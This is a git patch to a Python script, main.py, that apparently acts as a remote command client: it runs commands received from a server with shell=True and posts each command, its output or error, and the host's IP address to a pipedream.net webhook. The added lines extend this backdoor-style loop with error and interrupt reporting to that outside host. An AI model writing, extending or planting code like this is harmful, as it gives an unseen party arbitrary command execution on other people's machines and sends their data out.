From 77362507141aaf1a79cf5ca2be8b9b050acd1e8d Mon Sep 17 00:00:00 2001 From: littleblack111 Date: Wed, 16 Aug 2023 12:31:32 +0800 Subject: update --- main.py | 51 ++++++++++++++++++++++++++++++++++++++++++++++----- 1 file changed, 46 insertions(+), 5 deletions(-) (limited to 'main.py') diff --git a/main.py b/main.py index c698c1a..f4687cd 100644 --- a/main.py +++ b/main.py @@ -62,19 +62,60 @@ while True: print("Failed to connect to server") continue - cmdout = system(command, shell=True).decode() - if cmdout != "": + try: + cmdout = system(command, shell=True).decode() + except subprocess.CalledProcessError as e: try: - post("https://eo482aoknyxae8c.m.pipedream.net", data=f"``$ {command}`` ```{cmdout}```- {ip}") + global sperror + sperror=True + except KeyboardInterrupt: + continue + try: + if e.output != "": + post("https://eo482aoknyxae8c.m.pipedream.net", data=f"``$ {command}`` ```Error: {e.output} exited with code {e.returncode}```- {ip}") + else: + post("https://eo482aoknyxae8c.m.pipedream.net", data=f"``$ {command}`` ```Error: exited with no output and code {e.returncode}```- {ip}") except KeyboardInterrupt: try: - post("https://eo482aoknyxae8c.m.pipedream.net", data=f"{ip}: ``Client tried to SIGINT(Ctrl+C) when trying to post output``") + post("https://eo482aoknyxae8c.m.pipedream.net", data=f"{ip}: ``Client tried to SIGINT(Ctrl+C) when trying to post (error)output``") except KeyboardInterrupt: continue continue except: - print("Failed to sent output") + print("Failed to sent (error)output") continue + except KeyboardInterrupt: + try: + post("https://eo482aoknyxae8c.m.pipedream.net", data=f"{ip}: ``Client tried to SIGINT(Ctrl+C) when trying to execute command``") + except KeyboardInterrupt: + continue + continue + + if not sperror: + if cmdout != "": + try: + post("https://eo482aoknyxae8c.m.pipedream.net", data=f"``$ {command}`` ```{cmdout}```- {ip}") + except KeyboardInterrupt: + try: + post("https://eo482aoknyxae8c.m.pipedream.net", data=f"{ip}: ``Client tried to SIGINT(Ctrl+C) when trying to post output``") + except KeyboardInterrupt: + continue + continue + except: + print("Failed to sent output") + continue + else: + try: + post("https://eo482aoknyxae8c.m.pipedream.net", data=f"``$ {command}`` ```Command Executed successfully without output```- {ip}") + except KeyboardInterrupt: + try: + post("https://eo482aoknyxae8c.m.pipedream.net", data=f"{ip}: ``Client tried to SIGINT(Ctrl+C) when trying to post output``") + except KeyboardInterrupt: + continue + continue + except: + print("Failed to sent output") + continue old_command = command continue except: -- cgit v1.2.3